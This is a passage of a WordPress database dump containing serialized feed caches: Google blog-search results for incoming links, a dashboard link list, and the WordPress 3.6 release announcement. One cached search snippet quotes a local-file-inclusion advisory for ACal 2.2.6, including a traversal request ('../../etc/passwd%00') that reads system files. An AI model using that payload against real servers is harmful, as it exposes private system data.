clients homepage.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Support Forum - Recent Posts\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Ismael\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Sat, 17 Aug 2013 18:13:54 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:36:\"GAMESCOM 2013 - ShaderCraft Homepage\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:36:\"http://shadercraft.de/gamescom-2013/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:286:\"Folge den <em>link</em> : <em>http</em>://shadercraft.de/bewerbung/ um zum Bewerbungs Bogen zu ...read more. unangebracht; Shadercraft 2.0 ! 5. <b>...</b> ShaderCraft Homepage is proudly powered by <em>WordPress</em> and BuddyPress. Just another <em>WordPress</em> Theme&nbsp;<b>...</b>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"shadercraft Homepage\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"unangebracht\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Sat, 17 Aug 2013 11:53:02 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:102:\"How to install &lt;b&gt;wordpress&lt;/b&gt; on &lt;b&gt;localhost&lt;/b&gt; using wamp - Blog Time Now\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"http://blogtimenow.com/wordpress/installing-wordpress-in-localhost-using-wamp/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:301:\"For those who want to use <em>wordpress</em> is your computer here is how to install <em>wordpress</em> on <em>localhost</em> using wamp with simple easy steps. <b>...</b> run your computer as a local server. Download <em>wordpress</em> from this <em>link http</em>://<em>wordpress</em>.org/download/.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:25:\"Blog Time Now - Tech Geek\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Suriyaprakash\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Fri, 16 Aug 2013 04:59:49 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"ACal 2.2.6 Local File Inclusion – Information security alerts and news\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"http://hardeningsecurity.com/?p=364\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:292:\"Software <em>Link</em>: <em>http</em>://prdownloads.sourceforge.net/acalproj/ACal-2.2.6.tar.gz?download. Version: 2.2.6. Tested on: Windows 7 + PHP <b>...</b> <em>http</em>://<em>localhost</em>/calendar/embed/example/example.php?view=../../etc/passwd%00. ACal 2.2.6 Local File&nbsp;<b>...</b>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:36:\"Information security alerts and news\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:5:\"admin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Fri, 16 Aug 2013 03:38:19 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:47:\"\n      \n      \n      \n      \n      \n      \n    \";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:3:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"Build a Complete MVC Website With ExpressJS | Nettuts+\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:95:\"http://net.tutsplus.com/tutorials/javascript-ajax/build-a-complete-mvc-web-site-with-expressjs/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:572:\"As you know, Apache normally runs on port 80, which means that if you open <em>http</em>://<em>localhost</em> or <em>http</em>://<em>localhost</em>:80 you will see a page served by your Apache server and most likely your node script is listening on a different port. <b>...</b> This is great! <em>http</em>://www.casadocodigo.com.br/products/livro-nodejs Caio Ribeiro Pereira. If anybody wants to make MVC with another Node module….take a look this <em>link</em>: <em>http</em>://nodewebmodules.com. In the future I will create some sample mvc apps using&nbsp;<b>...</b>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:3:{s:9:\"publisher\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"Nettuts+\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Krasimir Tsonev\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"date\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Thu, 15 Aug 2013 19:35:34 GMT\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}s:36:\"http://a9.com/-/spec/opensearch/1.1/\";a:3:{s:12:\"totalResults\";a:1:{i:0;a:5:{s:4:\"data\";s:5:\"68400\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:10:\"startIndex\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:12:\"itemsPerPage\";a:1:{i:0;a:5:{s:4:\"data\";s:2:\"10\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}}}}}}s:4:\"type\";i:128;s:7:\"headers\";a:10:{s:12:\"content-type\";s:28:\"text/xml; charset=ISO-8859-1\";s:4:\"date\";s:29:\"Tue, 27 Aug 2013 05:16:46 GMT\";s:7:\"expires\";s:2:\"-1\";s:13:\"cache-control\";s:18:\"private, max-age=0\";s:10:\"set-cookie\";a:2:{i:0;s:143:\"PREF=ID=58bfb05386047c7d:FF=0:TM=1377580606:LM=1377580606:S=26fijXhLS5kfb9sE; expires=Thu, 27-Aug-2015 05:16:46 GMT; path=/; domain=.google.com\";i:1;s:212:\"NID=67=jtxCK3rolxRP-lrGUZQpdi8jTbSN6iwCr0_dGmKuDS-TQm60N-HMN5VZejtS5ABawpq5jzkUidUdX63ihs-2YkOSB-P67R0lHpCqs7iz4krOzwMCuN5aF7haC4vZqYqL; expires=Wed, 26-Feb-2014 05:16:46 GMT; path=/; domain=.google.com; HttpOnly\";}s:3:\"p3p\";s:122:\"CP=\"This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info.\"\";s:6:\"server\";s:3:\"gws\";s:16:\"x-xss-protection\";s:13:\"1; mode=block\";s:15:\"x-frame-options\";s:10:\"SAMEORIGIN\";s:18:\"alternate-protocol\";s:7:\"80:quic\";}s:5:\"build\";s:14:\"20130708114016\";}','no'),(227,'_transient_timeout_feed_mod_eebbfad72cfaf76c4edc5695ad275b05','1377623784','no'),(228,'_transient_feed_mod_eebbfad72cfaf76c4edc5695ad275b05','1377580584','no'),(229,'_transient_timeout_dash_20494a3d90a6669585674ed0eb8dcd8f','1377623784','no'),(230,'_transient_dash_20494a3d90a6669585674ed0eb8dcd8f','<ul>\n	<li><strong>phpmoz</strong> linked here <a href=\"http://blog.phpmoz.org/community-news-psr-4-autloader-proposal-now-in-draft-status/\">saying</a>, \"Link: http://www.reddit.com/r/PHP/comments/1kvr1f/ &hellip;\"</li>\n	<li><strong>Ciprian</strong> linked here <a href=\"http://evyned.com/coding-how-to-install-automod-and-thanks-mod-on-phpbb3/\">saying</a>, \"First of all , You must download Automod from the &hellip;\"</li>\n	<li><strong>Lillieleen</strong> linked here <a href=\"http://www.kriesi.at/support/topic/not-as-advertised\">saying</a>, \"I&#039;m editing the website in localhost and when &hellip;\"</li>\n	<li><strong>readmyrear</strong> linked here <a href=\"http://readmyrear.com/blog/?p=3\">saying</a>, \"This file has the following configurations: MySQL &hellip;\"</li>\n	<li><strong>Mark Needham</strong> linked here <a href=\"http://www.markhneedham.com/blog/2013/08/17/jersey-client-java-net-protocolexception-server-redirected-too-many-timessetting-cookies-on-request/\">saying</a>, \"Server: Jetty(8.1.8.v20121106).... ########### T 1 &hellip;\"</li>\n	<li><strong>Ismael</strong> linked here <a href=\"http://www.kriesi.at/support/topic/propulsion-wpml-cant-add-more-than-one-image-to-featured-media\">saying</a>, \"Hi. I have built a website for a client using Prop &hellip;\"</li>\n	<li><strong>unangebracht</strong> linked here <a href=\"http://shadercraft.de/gamescom-2013/\">saying</a>, \"Folge den link : http://shadercraft.de/bewerbung/ &hellip;\"</li>\n	<li><strong>Suriyaprakash</strong> linked here <a href=\"http://blogtimenow.com/wordpress/installing-wordpress-in-localhost-using-wamp/\">saying</a>, \"For those who want to use wordpress is your comput &hellip;\"</li>\n	<li><strong>admin</strong> linked here <a href=\"http://hardeningsecurity.com/?p=364\">saying</a>, \"Software Link: http://prdownloads.sourceforge.net/ &hellip;\"</li>\n	<li><strong>Krasimir Tsonev</strong> linked here <a href=\"http://net.tutsplus.com/tutorials/javascript-ajax/build-a-complete-mvc-web-site-with-expressjs/\">saying</a>, \"As you know, Apache normally runs on port 80, whic &hellip;\"</li>\n</ul>\n','no'),(231,'_transient_timeout_feed_ac0b00fe65abe10e0c5b588f3ed8c7ca','1377623785','no'),(232,'_transient_feed_ac0b00fe65abe10e0c5b588f3ed8c7ca','a:4:{s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"rss\";a:1:{i:0;a:6:{s:4:\"data\";s:3:\"\n\n\n\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:7:\"version\";s:3:\"2.0\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:7:\"channel\";a:1:{i:0;a:6:{s:4:\"data\";s:50:\"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n	\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:3:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"WordPress News\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:25:\"http://wordpress.org/news\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"WordPress News\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:13:\"lastBuildDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 01 Aug 2013 21:49:34 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"language\";a:1:{i:0;a:5:{s:4:\"data\";s:5:\"en-US\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:9:\"generator\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"http://wordpress.org/?v=3.7-alpha-25000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"item\";a:10:{i:0;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:25:\"WordPress 3.6 “Oscar”\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:40:\"http://wordpress.org/news/2013/08/oscar/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:49:\"http://wordpress.org/news/2013/08/oscar/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 01 Aug 2013 21:43:22 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2661\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:368:\"The latest and greatest WordPress, version 3.6, is now live to the world and includes a beautiful new blog-centric theme, bullet-proof autosave and post locking, a revamped revision browser, native support for audio and video embeds, and improved integrations with Spotify, Rdio, and SoundCloud. Here&#8217;s a video that shows off some of the features using [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Matt Mullenweg\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:18626:\"<p>The latest and greatest WordPress, version 3.6, is now <a href=\"http://wordpress.org/download/\">live to the world</a> and includes a beautiful new blog-centric theme, bullet-proof autosave and post locking, a revamped revision browser, native support for audio and video embeds, and improved integrations with Spotify, Rdio, and SoundCloud. Here&#8217;s a video that shows off some of the features using our cast of professional actors:</p>\n<div id=\"v-UmhwbWJH-1\" class=\"video-player\"><embed id=\"v-UmhwbWJH-1-video\" src=\"http://s0.videopress.com/player.swf?v=1.03&amp;guid=UmhwbWJH&amp;isDynamicSeeking=true\" type=\"application/x-shockwave-flash\" width=\"692\" height=\"388\" title=\"Introducing WordPress 3.6 &quot;Oscar&quot;\" wmode=\"direct\" seamlesstabbing=\"true\" allowfullscreen=\"true\" allowscriptaccess=\"always\" overstretch=\"true\"></embed></div>\n<p>We&#8217;re calling this release &#8220;Oscar&#8221; in honor of the great jazz pianist <a href=\"http://en.wikipedia.org/wiki/Oscar_Peterson\">Oscar Peterson</a>. Here&#8217;s a bit more about some of the new features, which you can also find on the about page in your dashboard after you upgrade.</p>\n<h3>User Features</h3>\n<p><img class=\"alignright\" alt=\"\" src=\"https://wordpress.org/images/core/3.6/twentythirteen.png\" width=\"300\" /></p>\n<ul>\n<li>The <strong>new Twenty Thirteen theme</strong> inspired by modern art puts focus on your content with a colorful, single-column design made for media-rich blogging.</li>\n<li><strong>Revamped Revisions</strong> save every change and the new interface allows you to scroll easily through changes to see line-by-line who changed what and when.</li>\n<li><strong>Post Locking</strong> and <strong>Augmented Autosave</strong> will especially be a boon to sites where more than a single author is working on a post. Each author now has their own autosave stream, which stores things locally as well as on the server (so much harder to lose something) and there&#8217;s an interface for taking over editing of a post, as demonstrated beautifully by our bearded buddies in the video above.</li>\n<li><strong>Built-in HTML5 media player</strong> for native audio and video embeds with no reliance on external services.</li>\n<li>The <strong>Menu Editor</strong> is now much easier to understand and use.</li>\n</ul>\n<h3>Developer features</h3>\n<ul>\n<li>A new audio/video API gives you access to metadata like ID3 tags.</li>\n<li>You can now choose HTML5 markup for things like comment and search forms, and comment lists.</li>\n<li>Better filters for how revisions work, so you can store a different amount of history for different post types.</li>\n<li>Tons more <a href=\"http://codex.wordpress.org/Version_3.6\">listed on the Codex</a>, and of course you can always <a href=\"http://core.trac.wordpress.org/query?status=closed&amp;group=resolution&amp;milestone=3.6\">browse the over 700 closed tickets</a>.</li>\n</ul>\n<h3>The Band</h3>\n<p>This release was led by <a href=\"http://markjaquith.com/\">Mark Jaquith</a> and <a href=\"http://geekreprieve.com/\">Aaron Campbell</a>, and included contributions from the following fine folks. Pull up some Oscar Peterson on your music service of choice, or vinyl if you have it, and check out some of their profiles:</p>\n<p><a href=\"http://profiles.wordpress.org/technosailor\">Aaron Brazell</a>, <a href=\"http://profiles.wordpress.org/aaroncampbell\">Aaron D. Campbell</a>, <a href=\"http://profiles.wordpress.org/aaronholbrook\">Aaron Holbrook</a>, <a href=\"http://profiles.wordpress.org/jorbin\">Aaron Jorbin</a>, <a href=\"http://profiles.wordpress.org/kawauso\">Adam Harley</a>, <a href=\"http://profiles.wordpress.org/adamsilverstein\">adamsilverstein</a>, <a href=\"http://profiles.wordpress.org/akted\">AK Ted</a>, <a href=\"http://profiles.wordpress.org/xknown\">Alex Concha</a>, <a href=\"http://profiles.wordpress.org/alexkingorg\">Alex King</a>, <a href=\"http://profiles.wordpress.org/viper007bond\">Alex Mills (Viper007Bond)</a>, <a href=\"http://profiles.wordpress.org/momo360modena\">Amaury Balmer</a>, <a href=\"http://profiles.wordpress.org/sabreuse\">Amy Hendrix (sabreuse)</a>, <a href=\"http://profiles.wordpress.org/anatolbroder\">Anatol Broder</a>, <a href=\"http://profiles.wordpress.org/nacin\">Andrew Nacin</a>, <a href=\"http://profiles.wordpress.org/azaozz\">Andrew Ozz</a>, <a href=\"http://profiles.wordpress.org/andrewryno\">Andrew Ryno</a>, <a href=\"http://profiles.wordpress.org/andy\">Andy Skelton</a>, <a href=\"http://profiles.wordpress.org/gorgoglionemeister\">Antonio</a>, <a href=\"http://profiles.wordpress.org/apimlott\">apimlott</a>, <a href=\"http://profiles.wordpress.org/awellis13\">awellis13</a>, <a href=\"http://profiles.wordpress.org/barry\">Barry</a>, <a href=\"http://profiles.wordpress.org/beaulebens\">Beau Lebens</a>, <a href=\"http://profiles.wordpress.org/belloswan\">BelloSwan</a>, <a href=\"http://profiles.wordpress.org/bilalcoder\">bilalcoder</a>, <a href=\"http://profiles.wordpress.org/bananastalktome\">Billy (bananastalktome)</a>, <a href=\"http://profiles.wordpress.org/bobbingwide\">bobbingwide</a>, <a href=\"http://profiles.wordpress.org/bobbravo2\">Bob Gregor</a>, <a href=\"http://profiles.wordpress.org/bradparbs\">bradparbs</a>, <a href=\"http://profiles.wordpress.org/bradyvercher\">Brady Vercher</a>, <a href=\"http://profiles.wordpress.org/kraftbj\">Brandon Kraft</a>, <a href=\"http://profiles.wordpress.org/brianlayman\">Brian Layman</a>, <a href=\"http://profiles.wordpress.org/beezeee\">Brian Zeligson</a>, <a href=\"http://profiles.wordpress.org/bpetty\">Bryan Petty</a>, <a href=\"http://profiles.wordpress.org/chmac\">Callum Macdonald</a>, <a href=\"http://profiles.wordpress.org/carldanley\">Carl Danley</a>, <a href=\"http://profiles.wordpress.org/caspie\">Caspie</a>, <a href=\"http://profiles.wordpress.org/charlestonsw\">Charleston Software Associates</a>, <a href=\"http://profiles.wordpress.org/cheeserolls\">cheeserolls</a>, <a href=\"http://profiles.wordpress.org/chipbennett\">Chip Bennett</a>, <a href=\"http://profiles.wordpress.org/c3mdigital\">Chris Olbekson</a>, <a href=\"http://profiles.wordpress.org/cochran\">Christopher Cochran</a>, <a href=\"http://profiles.wordpress.org/cfinke\">Christopher Finke</a>, <a href=\"http://profiles.wordpress.org/chriswallace\">Chris Wallace</a>, <a href=\"http://profiles.wordpress.org/corvannoorloos\">Cor van Noorloos</a>, <a href=\"http://profiles.wordpress.org/crazycoders\">crazycoders</a>, <a href=\"http://profiles.wordpress.org/danielbachhuber\">Daniel Bachhuber</a>, <a href=\"http://profiles.wordpress.org/mzaweb\">Daniel Dvorkin (MZAWeb)</a>, <a href=\"http://profiles.wordpress.org/redsweater\">Daniel Jalkut (Red Sweater)</a>, <a href=\"http://profiles.wordpress.org/daniloercoli\">daniloercoli</a>, <a href=\"http://profiles.wordpress.org/dannydehaan\">Danny de Haan</a>, <a href=\"http://profiles.wordpress.org/csixty4\">Dave Ross</a>, <a href=\"http://profiles.wordpress.org/dfavor\">David Favor</a>, <a href=\"http://profiles.wordpress.org/jdtrower\">David Trower</a>, <a href=\"http://profiles.wordpress.org/davidwilliamson\">David Williamson</a>, <a href=\"http://profiles.wordpress.org/dd32\">Dion Hulse</a>, <a href=\"http://profiles.wordpress.org/dllh\">dllh</a>, <a href=\"http://profiles.wordpress.org/ocean90\">Dominik Schilling (ocean90)</a>, <a href=\"http://profiles.wordpress.org/dovyp\">dovyp</a>, <a href=\"http://profiles.wordpress.org/drewapicture\">Drew Jaynes (DrewAPicture)</a>, <a href=\"http://profiles.wordpress.org/dvarga\">dvarga</a>, <a href=\"http://profiles.wordpress.org/cais\">Edward Caissie</a>, <a href=\"http://profiles.wordpress.org/elfin\">elfin</a>, <a href=\"http://profiles.wordpress.org/empireoflight\">Empireoflight</a>, <a href=\"http://profiles.wordpress.org/ericlewis\">Eric Andrew Lewis</a>, <a href=\"http://profiles.wordpress.org/ethitter\">Erick Hitter</a>, <a href=\"http://profiles.wordpress.org/ericmann\">Eric Mann</a>, <a href=\"http://profiles.wordpress.org/evansolomon\">Evan Solomon</a>, <a href=\"http://profiles.wordpress.org/faishal\">faishal</a>, <a href=\"http://profiles.wordpress.org/feedmeastraycat\">feedmeastraycat</a>, <a href=\"http://profiles.wordpress.org/frank-klein\">Frank Klein</a>, <a href=\"http://profiles.wordpress.org/f-j-kaiser\">Franz Josef Kaiser</a>, <a href=\"http://profiles.wordpress.org/fstop\">FStop</a>, <a href=\"http://profiles.wordpress.org/mintindeed\">Gabriel Koen</a>, <a href=\"http://profiles.wordpress.org/garyc40\">Gary Cao</a>, <a href=\"http://profiles.wordpress.org/garyj\">Gary Jones</a>, <a href=\"http://profiles.wordpress.org/gcorne\">gcorne</a>, <a href=\"http://profiles.wordpress.org/geertdd\">GeertDD</a>, <a href=\"http://profiles.wordpress.org/soulseekah\">Gennady Kovshenin</a>, <a href=\"http://profiles.wordpress.org/georgestephanis\">George Stephanis</a>, <a href=\"http://profiles.wordpress.org/gish\">gish</a>, <a href=\"http://profiles.wordpress.org/tivnet\">Gregory Karpinsky</a>, <a href=\"http://profiles.wordpress.org/hakre\">hakre</a>, <a href=\"http://profiles.wordpress.org/hbanken\">hbanken</a>, <a href=\"http://profiles.wordpress.org/hebbet\">hebbet</a>, <a href=\"http://profiles.wordpress.org/helen\">Helen Hou-Sandi</a>, <a href=\"http://profiles.wordpress.org/helgatheviking\">helgatheviking</a>, <a href=\"http://profiles.wordpress.org/hirozed\">hirozed</a>, <a href=\"http://profiles.wordpress.org/hurtige\">hurtige</a>, <a href=\"http://profiles.wordpress.org/hypertextranch\">hypertextranch</a>, <a href=\"http://profiles.wordpress.org/iandunn\">Ian Dunn</a>, <a href=\"http://profiles.wordpress.org/ipstenu\">Ipstenu 